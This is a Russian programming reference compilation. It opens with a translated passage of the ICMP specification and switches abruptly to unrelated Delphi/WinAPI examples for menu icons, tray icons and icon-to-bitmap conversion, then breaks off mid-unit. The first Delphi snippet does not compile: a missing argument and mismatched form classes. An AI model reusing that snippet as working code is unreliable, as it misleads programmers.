адрес шлюза Internet заголовок + 64 бита данных из исходной датаграммы Поля IP заголовка Заимствованы сеть и адрес отправителя из исходной датаграммы с данными. Поля ICMP сообщения Тип 5 КодО - переадресация датаграмм для сети 1 - переадресация датаграмм для хост-компьютера 2 - переадресация датаграмм для типа услуг и сети 3 - переадресация датаграмм для типа услуг и хост-компьютера Контрольная сумма Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP. При вычислении контрольной суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен. Internet адрес шлюза Адрес шлюза, на который должен быть проложен маршрут к сети, указанной в поле адреса в исходной датаграмме с данными. Internet заголовок + 64 бита данных из исходной датаграммы Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти данные используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных исход ной датаграммы. Описание Шлюз посылает сообщение на хост-компьютер о переадресации в следующей ситуации: Шлюз G1 получает Internet датаграмму от хост-компьютера в сети, где он расположен. Шлюз G1 проверяет таблицу маршрутизации и находит адрес следующего шлюза G2 в качестве маршрута для датаграммы по пути в сеть X, где расположен ее адресат. Если G2 и исходный хост-компьютер идентифицируются Internet адресом как находящиеся в одной и той же сети, то на хост-компьютер следует послать сообщение о переадресации. Сообщение о переадресации заставляет хост-компьютер посылать датаграммы для сети X прямо на шлюз G2, поскольку это более короткий путь, нежели привлекать еще шлюз G1. Шлюз передает данные исходной датаграммы их адресату в системе Internet. Для датаграмм с опциями IP маршрутизации отправления и адресом шлюза в поле получателя сообщение не посылается, даже если и существует более оптимальный маршрут к конечному адресату, чем следующий адрес, указанный в такой опции маршрута. Шлюзом могут быть переданы сообщения с кодами 0, 1, 2 и 3. Эхо-сообщение и сообщение в ответ на эхо 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма Идентификатор Номер очереди Данные ..... Поля IP заголовка Адреса Адрес отправителя в эхо-сообщении будет адресом получателя в ответном сообщении. Чтобы сформировать сообщение ответа, следует просто переставить местами адреса отправителя и получателя, код типа изменить на 0 и пересчитать контрольную сумму. Поля ICMP сообщения Тип8 - эхо-сообщение 0 - сообщение в ответ на эхо Код 0 Контрольная сумма Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP. При вычислении контрольной суммы это поле должно быть сперва обнулено. Если общая длина сообщения нечетная, то для вычисления контрольной суммы поле данных дополняется еще одним нулевым октетом. В будущем алгоритм вычисления контрольной суммы может быть изменен. Идентификатор Если код = 0, то идентификатор для соотнесения эхо-сообщений и ответов на них, должен быть обнулен. Номер очереди Если код = 0, то номер очереди, служащий для соотнесения эхо-сообщений и ответов на них, должен быть обнулен. Описание Данные из эхо-сообщения должны быть переданы в ответе на это сообщение. Идентификатор и номер очереди может использоваться отправителем эхо-сообщения с целью идентификации приходящих пакетов. На пример, идентификатор может использоваться в качестве порта подобно протоколам TCP и UDP для идентификации сеанса. Номер очереди может увеличиваться на единицу при посылке каждого эхо сообщения (запроса). Компьютер, отозвавшийся на это сообщение, возвращает в своем ответе те же значения для идентификатора и номера очереди, что были в исходном эхо-сообщении. Как шлюз, так и хост-компьютер могут возвращать сообщение с кодом 0. Сообщение со штампом времени и сообщение с ответом на штамп времени 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма Идентификатор Номер очереди Штамп времени отправления Штамп времени получения Штамп времени передачи Поля IP заголовка Адреса Адрес отправителя в сообщении со штампом времени будет адресом получателя в сообщении с ответом. Чтобы сформировать ответ на сообщение, следует просто поменять местами адреса отправителя и получателя, выбрать код типа 14, а также пересчитать контрольную сумму. Поля ICMP сообщения Тип13 для сообщения со штампом времени 14 для ответа на сообщение со штампом времени Код 0 Контрольная сумма Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP. При вычислении контрольной суммы это поле должно быть сперва обнулено. В будущем алгоритм вычисления контрольной суммы может быть изменен. Идентификатор Если код = 0, то идентификатор, служащий для соотнесения сообщений со штампом времени и ответов на них, должен быть обнулен. Номер очереди Если код = 0, то номер очереди, служащий для соотнесения сообщений со штампом времени и ответов на них, должен быть обнулен. Описание Данные из сообщения (штамп времени) возвращаются вместе с ответом, при этом в них добавляется еще один штамп времени. Штамп времени - это 32 бита, где записано время в миллисекундах, прошедшее после полуночи по единому времени (UT). Один из примеров использования таких временных штампов приведен в документе. Штамп времени отправления - это время, которое отправитель фиксировал последний раз перед посылкой сообщения. Штамп времени получения - это время, когда исходное сообщение впервые увидел получатель первоначального сообщения. Штамп времени передачи - это время, которое фиксировал в последний раз компьютер, отправляющий ответное сообщение. Если нет возможности измерять время в миллисекундах или нельзя определить единое время (UT), то в штамп все же можно занести имеющееся время, снабдив его единицей в старшем бите. Последнее также указывает на запись нестандартного значения в этом поле. Идентификатор и номер очереди могут использоваться отправителем для соотнесения сообщений (запросов) и ответов на них. На пример, идентификатор может использоваться в качестве порта, аналогично протоколам TCP и UDP, для идентификации сессии. Номер очереди может увеличиваться на единицу при каждой посылке сообщения (запроса). Адресат возвращает для этих параметров те значения, которые были обнаружены в запросе. И шлюз и хост-компьютер могут возвращать сообщения с кодом 0. Запрос информации и ответное сообщение с информацией 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма Идентификатор Номер очереди Поля IP заголовка Адреса Адрес отправителя в сообщении с запросом информации окажется адресом получателя в ответном сообщении с информацией. Чтобы сформировать ответное сообщение, следует просто поменять местами адреса отправителя и получателя, код типа сменить на 16, пересчитать контрольную сумму. Поля ICMP сообщения Тип15 - сообщение с запросом информации 16 - ответное сообщение с информацией Код 0 Контрольная сумма Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP. При вычислении контрольной суммы следует предварительно обнулить поле самой контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен. Идентификатор Если код = 0, то идентификатор, служащий для соотнесения запросов и ответов, может быть обнулен. Номер очереди Если код = 0, то номер очереди, служащий для соотнесения запросов и ответов, может быть обнулен. Описание Данное сообщение может быть послано, когда в IP заголовке в полях отправителя и получателя записаны нули (это означает "именно эту" локальную сеть). В ответ должен быть послан IP модуль с полностью заданными адресами. Данное сообщение является способом, с помощью которого хост-компьютер сможет определить номер сети, куда он подключен. Отправитель сообщений может использовать идентификатор и номер очереди для соотнесения запросов и пришедших ответов. Например, идентификатор может использоваться как порт в протоколах TCP и UDP для идентификации сеанса. Номер очереди может увеличиваться на единицу всякий раз, когда посылается запрос. Адресат возвращает в ответе те же значения этих параметров, которые были обнаружены в запросе. И хост-компьютер и шлюз могут возвращать сообщения с кодом 0. Список типов сообщений: 0 ответ на запрос эхо 3 адресат недостижим 4 приостановка отправителя 5 переадресация 8 эхо-запрос 11 превышение контрольного времени 12 проблемы с параметрами 13 штамп времени 14 ответ на запрос штампа времени 15 запрос информации 16 ответ на запрос информации.
Иконки в PopupMenu.
type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
File1: TMenuItem;
// * * * * Элемент для Menu Bar * * * * /
Open1: TMenuItem;
// * * * * Элемент для Menu file * * * * /
procedure FormCreate(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{private declarations}
public
{public declarations}
Icn, Txt, MnuItm: TBitmap;
end;
procedure TForm2.FormCreate(Sender: TObject);
var
R: TRect;
HIcn: HIcon;
Ic: TIcon;
Index: Word;
FileName: PChar;
begin
// * * Получаем иконку определенного приложения * * /
Ic := TIcon.Create;
Ic.Handle := ExtractAssociatedIcon(Hinstance, // * задаем путь и имя файла * /
, Index);
// * * Создаем для текста изображение * * /
Txt := TBitmap.Create;
with Txt do
begin
Width := Canvas.TextWidth(' Тест');
Height := Canvas.TextHeight(' Тест');
Canvas.TextOut(0, 0, ' Тест');
end;
// * * Копируем иконку в bitmap для изменения его размера.
Вы не можете менять размер иконки * * /
Icn := TBitmap.Create;
with Icn do
begin
Width := 32;
Height := 32;
Brush.Color := clBtnFace;
Canvas.Draw(0, 0, Ic);
end;
// * * Создаем окончательное изображение, куда мы помещаем иконку и текст * * /
MnuItm := TBitmap.Create;
with MnuItm do
begin
Width := Txt.Width + 18;
Height := 18;
with Canvas do
begin
Brush.Color := clBtnFace;
Pen.Color := clBtnFace;
Brush.Style := bsSolid;
Rectangle(0, 0, Width, Height);
CopyMode := cmSrcAnd;
StretchDraw(Rect(0, 0, 16, 16), Icn);
CopyMode := cmSrcAnd;
Draw(16, 8 - (Txt.Height div 2), Txt);
end;
end;
end;
procedure TForm2.FormShow(Sender: TObject);
var
ItemInfo: TMenuItemInfo;
hBmp1: THandle;
begin
HBmp1 := MnuItm.Handle;
with ItemInfo do
begin
cbSize := SizeOf(ItemInfo);
fMask := MIIM_TYPE;
fType := MFT_BITMAP;
dwTypeData := PChar(MakeLong(hBmp1, 0));
end;
// * * Заменяем MenuItem Open1 законченным изображением * *
SetMenuItemInfo(GetSubMenu(MainMenu1.Handle, File1.MenuIndex),
Open1.MenuIndex, true, ItemInfo);
end;
{
В меню существуют некоторые проблемы масштабированием и палитрой иконки.
Я также ищу лучшее решение, но это все, что я вам могу сейчас дать.
Листинг был изменен для того, чтобы помещать иконки в "чЕкнутое"
состояние меню(просто это делает Win95).Это позволяет вам иметь
"чЕкнутое" и "нечЕкнутое" состояние.
}
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Menus, ShellAPI;
type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
File1: TMenuItem;
Open1: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
Icn, MnuItm: TBitmap;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
var
R: TRect;
HIcn: HIcon;
Ic: TIcon;
Index: Word;
begin
{ /** Получаем иконку некоторого приложения **/}
Index := 0; { 11-я иконка в файле }
Ic := TIcon.Create;
Ic.Handle := ExtractAssociatedIcon(Hinstance,
'c:\win95\system\shell32.dll', Index);
{ /** Копируем иконку в bitmap для изменения его размера.
Вы не можете менять размер иконки **/}
Icn := TBitmap.Create;
with Icn do
begin
Width := 32;
Height := 32;
Canvas.Brush.Color := clbtnface;
Canvas.Draw(0, 0, Ic);
end;
{ /** Создаем окончательное изображение, куда мы помещаем иконку и текст **/}
MnuItm := TBitmap.Create;
with MnuItm do
begin
Width := 18;
Height := 18;
with Canvas do
begin
Brush.Color := clbtnface;
Pen.Color := clbtnface;
CopyMode := cmSrcAnd;
StretchDraw(Rect(0, 0, 16, 16), Icn);
end;
end;
end;
procedure TForm1.FormShow(Sender: TObject);
var
ItemInfo: TMenuItemInfo;
hBmp1: THandle;
begin
HBmp1 := MnuItm.Handle;
with ItemInfo do
begin
cbSize := SizeOf(ItemInfo);
fMask := MIIM_CHECKMARKS;
fType := MFT_BITMAP;
hBmpunChecked := HBmp1; { Неотмеченное (Unchecked) состояние }
hBmpChecked := HBmp1; { Отмеченное (Checked) состояние }
end;
{ /** Заменяем MenuItem Open1 законченным изображением **/}
SetMenuItemInfo(GetSubMenu(MainMenu1.Handle, File1.MenuIndex),
Open1.MenuIndex, true, ItemInfo);
end;
end.
|
Иконка на TrayBar - пример 2.
unit shellUnit;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Menus;
const
WM_MYICONNOTIFY = WM_USER + 123;
type
TForm1 = class(TForm)
PopupMenu1: TPopupMenu;
RestoreItem: TMenuItem;
N1: TMenuItem;
FileExitItem1: TMenuItem;
HideItem: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure RestoreItemClick(Sender: TObject);
procedure HideItemClick(Sender: TObject);
procedure FileExitItem1Click(Sender: TObject);
private
{ Private declarations }
ShownOnce: Boolean;
public
{ Public declarations }
procedure WMICON(var msg: TMessage); message WM_MYICONNOTIFY;
procedure WMSYSCOMMAND(var msg: TMessage); message WM_SYSCOMMAND;
procedure RestoreMainForm;
procedure HideMainForm;
procedure CreateTrayIcon(n: Integer);
procedure DeleteTrayIcon(n: Integer);
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
uses ComObj, activex, ShellApi, shlobj, registry;
procedure TForm1.WMICON(var msg: TMessage);
var P: TPoint;
begin
case msg.LParam of
WM_LBUTTONDOWN:
begin
GetCursorPos(p);
SetForegroundWindow(Application.MainForm.Handle);
PopupMenu1.Popup(P.X, P.Y);
end;
WM_LBUTTONDBLCLK: RestoreItemClick(Self);
end;
end;
procedure TForm1.WMSYSCOMMAND(var msg: TMessage);
begin
inherited;
if (Msg.wParam = SC_MINIMIZE) then HideItemClick(Self);
end;
procedure TForm1.HideMainForm;
begin
Application.ShowMainForm := False;
ShowWindow(Application.Handle, SW_HIDE);
ShowWindow(Application.MainForm.Handle, SW_HIDE);
end;
procedure TForm1.RestoreMainForm;
var i, j: Integer;
begin
Application.ShowMainForm := True;
ShowWindow(Application.Handle, SW_RESTORE);
ShowWindow(Application.MainForm.Handle, SW_RESTORE);
if not ShownOnce then
begin
for I := 0 to Application.MainForm.ComponentCount - 1 do
if Application.MainForm.Components[I] is TWinControl then
with Application.MainForm.Components[I] as TWinControl do
if Visible then
begin
ShowWindow(Handle, SW_SHOWDEFAULT);
for J := 0 to ComponentCount - 1 do
if Components[J] is TWinControl then
ShowWindow((Components[J] as TWinControl).Handle, SW_SHOWDEFAULT);
end;
ShownOnce := True;
end;
end;
procedure TForm1.CreateTrayIcon(n: Integer);
var nidata: TNotifyIconData;
begin
with nidata do
begin
cbSize := SizeOf(TNotifyIconData);
Wnd := Self.Handle;
uID := 1;
uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
uCallBackMessage := WM_MYICONNOTIFY;
hIcon := Application.Icon.Handle;
StrPCopy(szTip, Application.Title);
end;
Shell_NotifyIcon(NIM_ADD, @nidata);
end;
procedure TForm1.DeleteTrayIcon(n: Integer);
var nidata: TNotifyIconData;
begin
with nidata do
begin
cbSize := SizeOf(TNotifyIconData);
Wnd := Self.Handle;
uID := 1;
end;
Shell_NotifyIcon(NIM_DELETE, @nidata);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
ShownOnce := False;
CreateTrayIcon(1);
HideItem.Enabled := False;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
DeleteTrayIcon(1);
end;
procedure TForm1.RestoreItemClick(Sender: TObject);
begin
RestoreMainForm;
DeleteTrayIcon(1);
RestoreItem.Enabled := False;
HideItem.Enabled := True;
end;
procedure TForm1.HideItemClick(Sender: TObject);
begin
HideMainForm;
CreateTrayIcon(1);
HideItem.Enabled := False;
RestoreItem.Enabled := True;
end;
procedure TForm1.FileExitItem1Click(Sender: TObject);
begin
Close;
end;
end.
Скачать весь проект
Иконка на TrayBar.
Что такое System Tray? О чем идет речь?
Если Вы в операционной ситеме Windows'95 или Windows NT 4.0 пользуетесь оболочкой Explorer, то справа на ТаsкВаr'е Вы должны были видеть "углубленную" область в которой, обычно, помещаются часы, переключатель клавиатуры, регулятор громкости и некоторые другие утилиты.
Они изображаются маленькими иконками и для них существуют ТооlТiр'ы как для кнопок ТооlВаr'ов. При щелчке или двойном щелчке по такой иконке программа обычно выполняет действие по умолчанию, а при щелчке правой кнопкой показывает Pop-Up меню. На уровне оболочки System Tray это приложение, поддерживающее окно, которое вы видите как "углубленную" область и некоторый сервис для работы с этим окном.
Как мне перенести свою программу на Tray?
Это типичный вопрос программиста, пишущего какую-нибудь утилиту, работающую в Background во время всей работы операционной системы (в DOS такие утилиты делались TSR-программами). Но вопрос поставлен не корректно. Обычно задавает этот вопрос программист имеет в виду примерно следующее : "Моя программа работает [почти] все время в минимизированном состоянии и очень жалко места под ее кнопку на ТаsкВаr'е. Как мне сделать, что бы при минимизации [старте|все время] моя программа представлялась иконкой на System Тrау'е и отвечала на сообщения мыши от этой иконки ?" Ответ на этот вопрос состоит из нескольких частей.
Что такое иконка на System Tray?
Ответ на этот вопрос объясняет некорректность вопроса 2. Иконка на Тrау'е это просто картинка, а не окно какой-либо программы (исследование системы с помощью Microsoft Spy++ for Windows 95 показывает, что это не окно вообще). System Tray отслеживает события мыши над иконкой и, в случае надобности, показывает ToolTip для этой иконки. Так же он отсылает сообщения о всех действиях мыши над иконкой окну, которое поместило иконку на Tray. Таким образом, нельзя поместить программу на Tray. Любая программа может добавить столько иконок на Tray, сколько ей необходимо. При этом главное окно программы не обязано исчезать или минимизироваться - примером может служить Microsoft Internet Mail, помещающая иконку "конверт" на Tray в случае появления новых писем.
Как добавить иконку на Tray?
Для работы с SystemTray существует всего одна функция. Вот ее Си-прототип:
WINSHELLAPI BOOL WINAPI Shell_NotifyIcon( DWORD dwMessage, // message identifier PNOTIFYICONDATA pnid // pointer to structure ); |
Эта функция описана в заголовочном файле Win32-SDK "shellapi.h", включаемом в программу при включении "windows.h". Параметр dwMessage может принимать одно из трех значений: NIM_ADD, NIM_DELETE, NIM_MODIFY. Для добавления иконки он должен быть установлен в NIM_ADD. Параметр pnid имеет тип PNOTIFYDATA, который описан как:
typedef struct _NOTIFYICONDATA { // nid
DWORD cbSize;
HWND hWnd;
UINT uID;
UINT uFlags;
UINT uCallbackMessage;
HICON hIcon;
char szTip[64];
} NOTIFYICONDATA, *PNOTIFYICONDATA;
|
Поля структуры NOTIFYICONDATA имеют следующий смысл:
cbSize размер структуры, должен быть sizeof(NOTIFYICONDATA). hWnd дескриптор окна, которое будет получать события мыши над иконкой. uID уникальный идентификатор иконки. Идентификатор должен быть уникален в пределах окна - обработчика, передаваемого в hWnd. uFlags битовое поле, определяющее какое из следующих полей несет действительную информацию. Может быть одним из следующих значений: NIF_ICON, NIF_MESSAGE, NIF_TIP или их OR-комбинацией. uCallbackMessage сообщение, передаваемое окну - обработчику при событиях мыши. Желательно получать номер сообщения вызовом RegisterWindowMessage(), но допускаются и значения WM_USER+N, где N > 0. hIcon дескриптор иконки, помещаемой на Tray. szTip текст для ТооlТiр'а, если szTip[0] = 0x00, то ТооlТiр'а не будет.Таким образом, для добавления иконки на Tray необходимо заполнить экземпляр структуры NOTIFYICONDATA и вызвать функцию Shell_NotifyIcon() с параметром NIM_ADD и указателем на заполненный экземпляр структуры.
При добавлении иконки необходимо заполнить поля cbSize, hWnd, uID, uFlags, uCallbackMessage, hIcon. Поле szTip можно оставить пустым, если вам не нужен ToolTip. Поле uFlags должно содержать как минимум NIF_MESSAGE | NIF_ICON.
Я добавил иконку на Tray, а как ее там изменить?
После добавления иконки на Tray можно менять саму иконку, ToolTip и сообщение, посылаемое окну. Для этого необходимо заполнить экземпляр структуры NOTIFYICONDATA и вызвать функцию Shell_NotifyIcon() с параметром NIM_MODIFY и указателем на заполненный экземпляр структуры.
При изменении иконки необходимо заполнить поля cbSize, hWnd, uID, uFlags и поля, отвечающие за параметры иконки, которые вы хотите менять. При этом uFlags должен содержать комбинацию флагов, описывающую поля, которые необходимо менять.
А как удалить иконку с Tray?
Для удаления иконки вы должны знать ее ID и дескриптор окна-обработчика сообщений.
Для удаления иконки с Tray надо вызвать функцию Shell_NotifyIcon() с параметром NIM_DELETE и указателем на экземпляр структуры NOTIFYICONDATA, у которого должны быть заполнены следующие поля: cbSize, hWnd, uID.
Как мне узнать о воздействии мыши на иконку, находящуюся на Tray?
При добавлении иконки на Tray вы указывали окно - обработчик сообщения и сообщение (CallbackMessage). Теперь окно, указанное вами будет при любых событиях мыши, происходящих над иконкой получать сообщение, указанное при добавлении иконки. При этом параметры lParam и wParam будут задействованы следующим образом:
(UINT)wParam содержит ID иконки, над которой произошло событие (UINT)lParam содержит стандартное событие мыши, такое как WM_MOUSEMOVE или WM_LBUTTONDOWN.При этом, информация о клавишах смены регистра, так же как и местоположения события, передаваемые при стандартных "настоящих" сообщениях мыши, теряются.
Но положение курсора можно узнать функцией GetCursorPos(), а состояние клавиш смены регистра - функцией GetKeyState(), описанных в winuser.h.
Многие программы показывают Pop-Up меню при щелчке на их иконке, помещенной на Tray, как этого добиться?
Вы должны обрабатывать сообщение, указанное вами при добавлении иконки на Tray. При значении (UINT)lParam, равном WM_RBUTTONDOWN (это обычно для Pop-Up меню по правой кнопке), или любому другому необходимому вам, вы должны вызовом функции GetCursorPos() получить позицию курсора в момент события (вряд ли пользователь успеет убрать мышь за время обработки сообщения, особенно если он ожидает меню), получить вескриптор Pop-Up меню одним из многих способов (LoadMenu(), GetSubMenu(), CreateMenu(), и т.д.) и выполнить следующий код:
SetForegroundWindow(hWnd); TrackPopupMenuEx(hMenu, TPM_HORIZONTAL | TPM_LEFTALIGN, x, y, hWnd, NULL); DestroyMenu(hMenu); PostMessage(hWnd, WM_USER, 0, 0); |
Где:
hWnd дескриптор окна, которое будет обрабатывать команду меню, hMenu дескриптор меню, x и y - позиция курсора.Для подробностей смотрите Win32 SDK Help по функции TrackPopupMenuEx.
Многие программы минимизируясь, оказываются на Tray, как это сделать?
На самом деле, не "программа оказывается на Tray", а только иконка помещается на Tray, а главное окно программы скрывается. Для достижения такого результата вам надо обрабатывать сообщение WM_SIZE, и при значении wParam, равном SIZE_MINIMIZED вы должны выполнить примерно следующую последовательность действий: добавить иконку на Tray и скрыть окно - вызвать ShowIndow(hWnd, SW_HIDE).
Когда произойдет действие, которое должго активировать вашу программу - WM_LBUTTONDBLCLK или WM_LBUTTONDOWN (или то, что нравится вам), вы должны удалить иконку и вызвать ShowWindow(hWnd,SW_SHOW) или ShowWindow(hWnd,SW_SHOWMAXIMIZED).
Всегда ли все вышесказанное будет работать?
Нет ! Все вышенаписанное работает только при использовании в операционных системах Windows 95 и Windows NT 4.0 оболочки Explorer, и при разрешенном System Tray. В случае, если не происходит запуска systray.exe (запускаетс автоматически Ехрlоrеr'ом при старте) или используется другая оболочка (DashBoard, Program Manager, File Manager), функция Shell_NotifyIcon() будет возвращать при вызове FALSE и не выполнять ни каких действий.
Еще раз повторю: System Tray - это возможность оболочки, а не операционной системы !
А есть ли официальная информация по System Tray?
Да, есть. Есть маленький пример в Win32 SDK: SDKRoot\Samples\Win32\Win95\TrayNot\*.* Ну и конечно описание в документации функции Shell_NotifyIcon() и структуры NOTIFYICONDATA.
Так же можно посмотреть Microsoft Knowledge Base:
PSS ID Number: Q128129 PSS ID Number: Q134237 PSS ID Number: Q139408Как сделать пункт "по умолчанию" в Pop-Up меню выделенным?
Вообще-то, это вопрос не относящийся к System Tray, а относящийся к меню. Но можно ответить и на него.
Устанавливается пункт "по умолчанию" в любом меню функцией API SetMenuDefaultItem(HMENU hMenu, UINT uItem, UINT fByPos), подробности - в Win32 SDK документации. Пункт "По умолчанию" не влияет на работу меню - это чисто интерфейсное выделение пункта меню полужирным (bold) шрифтом.
Как поместить иконку в Tray.
Автор: Nomadic.
function TaskBarAddIcon(hWindow: THandle; ID: Cardinal;
ICON: hicon; CallbackMessage: Cardinal; Tip: string): Boolean;
var
NID: TNotifyIconData;
begin
FillChar(NID, SizeOf(TNotifyIconData), 0);
with NID do
begin
cbSize := SizeOf(TNotifyIconData);
Wnd := hWindow;
uID := ID;
uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
uCallbackMessage := CallbackMessage;
hIcon := Icon;
if Length(Tip) > 63 then
SetLength(Tip, 63);
StrPCopy(szTip, Tip);
end;
Result := Shell_NotifyIcon(NIM_ADD, @NID);
end;
|
Как создать BMP из ICO.
procedure TForm1.Button1Click(Sender: TObject);
var
TheIcon: TIcon;
TheBitmap: TBitmap;
begin
TheIcon := TIcon.Create;
TheIcon.LoadFromFile('C:\Program Files\Borland\IcoCur32\EARTH.ICO');
TheBitmap := TBitmap.Create;
TheBitmap.Height := TheIcon.Height;
TheBitmap.Width := TheIcon.Width;
TheBitmap.Canvas.Draw(0, 0, TheIcon);
Form1.Canvas.Draw(10, 10, TheBitmap);
TheBitmap.Free;
TheIcon.Free;
end;
|
Как создать BMP из ICO 2.
Способ преобразования изображения размером 32x32 в иконку.
unit main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, ExtCtrls, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Image1: TImage;
Image2: TImage;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
winDC, srcdc, destdc: HDC;
oldBitmap: HBitmap;
iinfo: TICONINFO;
begin
GetIconInfo(Image1.Picture.Icon.Handle, iinfo);
WinDC := getDC(handle);
srcDC := CreateCompatibleDC(WinDC);
destDC := CreateCompatibleDC(WinDC);
oldBitmap := SelectObject(destDC, iinfo.hbmColor);
oldBitmap := SelectObject(srcDC, iinfo.hbmMask);
BitBlt(destdc, 0, 0, Image1.picture.icon.width,
Image1.picture.icon.height,
srcdc, 0, 0, SRCPAINT);
Image2.picture.bitmap.handle := SelectObject(destDC, oldBitmap);
DeleteDC(destDC);
DeleteDC(srcDC);
DeleteDC(WinDC);
image2.Picture.Bitmap.savetofile(ExtractFilePath(Application.ExeName)
+ 'myfile.bmp');
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
image1.picture.icon.loadfromfile('c:\myicon.ico');
end;
end.
|
Как создать BMP из ICO 3.
Чтобы преобразовать Icon в Bitmap используйте TImageList. для обратного преобразования замените метод AddIcon на Add, и метод GetBitmap на GetIcon.
function Icon2Bitmap(Icon: TIcon): TBitmap;
begin
with TImageList.Create (nil) do
begin
AddIcon (Icon);
Result := TBitmap.Create;
GetBitmap (0, Result);
Free;
end;
end;
|
Как создать BMP из ICO 4.
procedure TIconShow.FileListBox1Click(Sender: TObject);
var
MyIcon: TIcon;
MyBitMap: TBitmap;
begin
MyIcon := TIcon.Create;
MyBitMap := TBitmap.Create;
try
{ получаем имя файла и связанную с ним иконку}
strFileName := FileListBox1.Items[FileListBox1.ItemIndex];
StrPCopy(cStrFileName, strFileName);
MyIcon.Handle := ExtractIcon(hInstance, cStrFileName, 0);
{ рисуем иконку на bitmap в speedbutton }
SpeedButton1.Glyph := MyBitMap;
SpeedButton1.Glyph.Width := MyIcon.Width;
SpeedButton1.Glyph.Height := MyIcon.Height;
SpeedButton1.Glyph.Canvas.Draw(0, 0, MyIcon);
SpeedButton1.Hint := strFileName;
finally
MyIcon.Free;
MyBitMap.Free;
end;
end;
|
Преобразование иконок в Gliph-ы.
Вот небольшой пример того, как можно загрузить иконку, содержащуюся в файле EXE, в Glyph у SpeedButton, и как очистить этот самый Glyph.Огорчен, но комментарии в исходном коде на испанском языке.
unit Procs;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, StdCtrls, Buttons, ExtCtrls, ShellAPI;
procedure LlenaBoton(boton: TSpeedButton; Programa: string);
procedure LimpiaBoton(boton: TSpeedButton);
var
{Botones de programas}
Pic: TPicture;
Fname: string;
TempFile: array[0..255] of Char;
Icon: TIcon;
implementation
uses ttotro;
procedure LlenaBoton(boton: TSpeedButton; Programa: string);
var
NumFiles, NameLength: integer;
nIconsInFile: word;
rBoton: TRect;
oBitmap: TBitmap;
oBitmap2: TBitmap;
NombreBitmap: string;
begin
try
screen.cursor := crHourglass;
{Extrae el Icono}
Icon := TIcon.Create;
StrPCopy(TempFile, Programa);
Icon.Handle := ExtractIcon(HInstance, TempFile, 0);
{Crea una instancia de TPicture}
Pic := TPicture.Create;
{Asigna el icon.handle a la propiedad Pic.icon}
Pic.Icon := Icon;
{Configura el tamano del bitmap como el del icono y el del segundo
bitmap con el tamano del boton}
oBitmap := TBitMap.create;
oBitmap2 := TBitMap.create;
oBitmap2.Width := Icon.Width;
oBitmap2.Height := Icon.Height;
oBitmap.Width := boton.Width - 4;
oBitmap.Height := boton.Height - 4;
{ Dibuja el icono en el bitmap }
oBitmap2.Canvas.Draw(0, 0, Pic.Graphic);
rBoton.left := 1;
rBoton.Top := 1;
rBoton.right := boton.Width - 6;
rBoton.Bottom := boton.Height - 6;
oBitmap.Canvas.StretchDraw(rBoton, oBitmap2);
Boton.Hint := Programa;
NombreBitmap := Copy(programa, 1, Length(programa) - 3) + 'BMP';
{Salva el bitmap en un fichero}
if not FileExists(NombreBitmap) then
begin
oBitmap.SaveToFile(ExtractFilePath(Application.ExeName) +
ExtractFileName(NombreBitmap));
Boton.Glyph := oBitmap;
end
else
{Carga el BMP en el boton}
Boton.Glyph.LoadFromFile(ExtractFilePath(Application.ExeName) +
ExtractFileName(NombreBitmap));
finally
Icon.Free;
oBitmap.Free;
oBitmap2.Free;
screen.cursor := crDefault;
end; {main begin}
end; {llenaboton}
procedure LimpiaBoton(boton: TSpeedButton);
var
oBitmap: TBitmap;
rBoton: TRect;
begin
try
{Configuara el tamano del bitmap como el del icono y el del segundo
bitmap con el tamano del boton}
oBitmap := TBitMap.create;
oBitmap.Width := boton.Width - 4;
oBitmap.Height := boton.Height - 4;
Boton.Glyph := oBitmap;
finally
oBitmap.Free;
end; {main begin}
end; {limpiaboton}
end.
|
Как поместить иконку в окошко подсказки.
Чтобы увидеть это в действии, всё, что надо сделать, это поместить этот юнит в список USES Вашего приложения.
unit HintX;
interface
uses
Windows, Messages, Controls;
type
TIconHintX = class(THintWindow)
protected
procedure Paint; override;
public
function CalcHintRect(MaxWidth: Integer; const AHint: string;
AData: Pointer): TRect; override;
end;
